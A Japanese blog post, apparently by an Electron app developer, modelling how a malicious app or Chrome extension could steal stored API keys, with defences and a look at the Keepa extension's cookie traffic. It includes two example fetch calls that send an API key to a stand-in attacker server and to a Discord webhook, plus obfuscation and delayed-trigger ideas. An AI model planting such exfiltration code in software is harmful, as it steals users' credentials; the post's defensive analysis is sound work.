Electronアプリのセキュリティ分析 ― APIキー窃取とChrome拡張の脅威モデル
自作のElectronアプリ(即録くん)で、APIキーをelectron-storeに保存している。ふと「悪意ある開発者がこの仕組みを使ったら、ユーザーのAPIキーを盗めるのでは?」と手が止まった。そこからElectronとChrome拡張のセキュリティを掘り下げた記録。
asarを展開するとソースコードが丸見えになる
Electronアプリの実体はapp.asarというアーカイブに格納されている。これを展開すると、JavaScriptのソースコードがそのまま読める。
npx asar extract app.asar ./extracted
# → extracted/ にJSファイルが全て展開される
つまり、開発者がAPIキーを外部に送信するコードを仕込んでいても、展開すれば発見できる。逆に言えば、展開して読まない限り気づけない。
APIキー窃取の4段階 ― 検出難度が段階的に上がる
悪意ある開発者がelectron-storeのAPIキーを盗む方法を、検出の難しさ順に整理した。
レベル1: 直接送信
fetch("https://evil-server.example.com/steal", {
body: JSON.stringify({ key: store.get("apiKey") })
});
自前サーバーにPOSTする。Wiresharkで通信先IPを見ればすぐバレる。しかも攻撃者側もサーバーのIPから足がつく。
レベル2: 正規サービスを踏み台にする
fetch("https://discord.com/api/webhooks/xxxx/yyyy", {
body: JSON.stringify({ content: store.get("apiKey") })
});
Discord WebhookやSlack Webhookを経由する。通信先がdiscord.comになるため、ネットワーク監視で「正規の通信」に見える。検出が一気に難しくなる。
レベル3: URL難読化
送信先URLをBase64エンコードして埋め込む。ソースコードを目視しても、どこに送っているか分からない。
レベル4: 条件付き実行
特定の日時が過ぎてから送信を開始する、あるいは特定の条件(ユーザー数が一定を超えたら等)でトリガーする。コードレビュー時点では発火せず、後から動き出す。
防御策
- Wireshark: 実際の通信を監視する。レベル1は捕まるが、レベル2以降は通信先だけでは判断できない
- CSP(Content Security Policy):
electron-builderでCSPヘッダーを設定し、許可した宛先以外への通信をブロックする - asar展開レビュー: インストール前にasarを展開してソースを読む。ただし現実的には毎回やる人は少ない
Chrome拡張に話が広がる ― Keepaを実際に分析した
Electronアプリと同じ構造がChrome拡張にも当てはまる。Chrome拡張もJavaScriptで書かれていて、ソースを読める。ストア審査はあるが、難読化されたコードの中身まで審査が追いつかないケースがある。
ここで「難読化」と「圧縮(minify)」の違いが気になった。minifyは可読性を犠牲にしてファイルサイズを減らすだけで、prettierで整形すれば読める。難読化は意図的にロジックを隠す。Chrome拡張で難読化を使うと、審査でリジェクトされる可能性がある。
Keepa拡張を展開してみた
Amazonの価格追跡で有名なKeepa拡張を実際に展開して、manifest.jsonの権限と通信内容を確認した。
要求している権限:
tabs― 開いているタブの情報にアクセスwebRequest― ネットワークリクエストを傍受cookies― ブラウザのCookieを読み取り
観察した挙動:
AmazonのセッションCookieがKeepaのサーバーに送信されていた。これは技術的にはAmazonのセッション乗っ取りが可能な状態を意味する。
Codex(GPT-5.4)にレビューを依頼した
「Keepaは意図的にセッションを盗んでいるのか?」をCodexに分析させた。結論は「意図的な窃取ではなく、Amazon価格データの取得に必要なCookieを送っている可能性が高い」。Keepaのビジネスモデル(価格追跡サービス)を考えると、Amazonにログイン状態でリクエストを投げないと取得できないデータがある。
ただし、技術的には可能な状態であることに変わりはない。信頼するかどうかはユーザー側の判断になる。
攻撃者にとっても自前サーバーはリスク
面白いのは、攻撃者側もリスクを抱えている点だ。自前サーバーで盗んだデータを受け取ると、そのサーバーのIPアドレスから攻撃者が特定される。だからレベル2(Discord Webhook等)のように、既存サービスを踏み台にする手法が使われる。攻撃者と防御者の両方が「IPから足がつく」ことを意識して動いている。
SAC(Smart App Control)の存在
Windows 11のSAC(Smart App Control)は、署名のないexeファイルを完全にブロックする。自作Electronアプリのような未署名バイナリは実行できない。一度SACをオフにすると不可逆(再度オンにできない)という仕様で、セキュリティと利便性のトレードオフが鮮明に出ている。
学んだこと
- ElectronもChrome拡張も「JavaScriptが読める」という同じ構造を持つ。ソースを読めば攻撃コードを発見できるが、難読化・条件付き実行で検出難度は跳ね上がる
- 「通信先が正規ドメインだから安全」とは言えない。Discord WebhookのようにC2チャネルとして使われるパターンがある
- Keepaの分析を通じて、「権限が広い=悪意がある」とは限らないが、「技術的に何ができるか」は把握しておくべきだと腹落ちした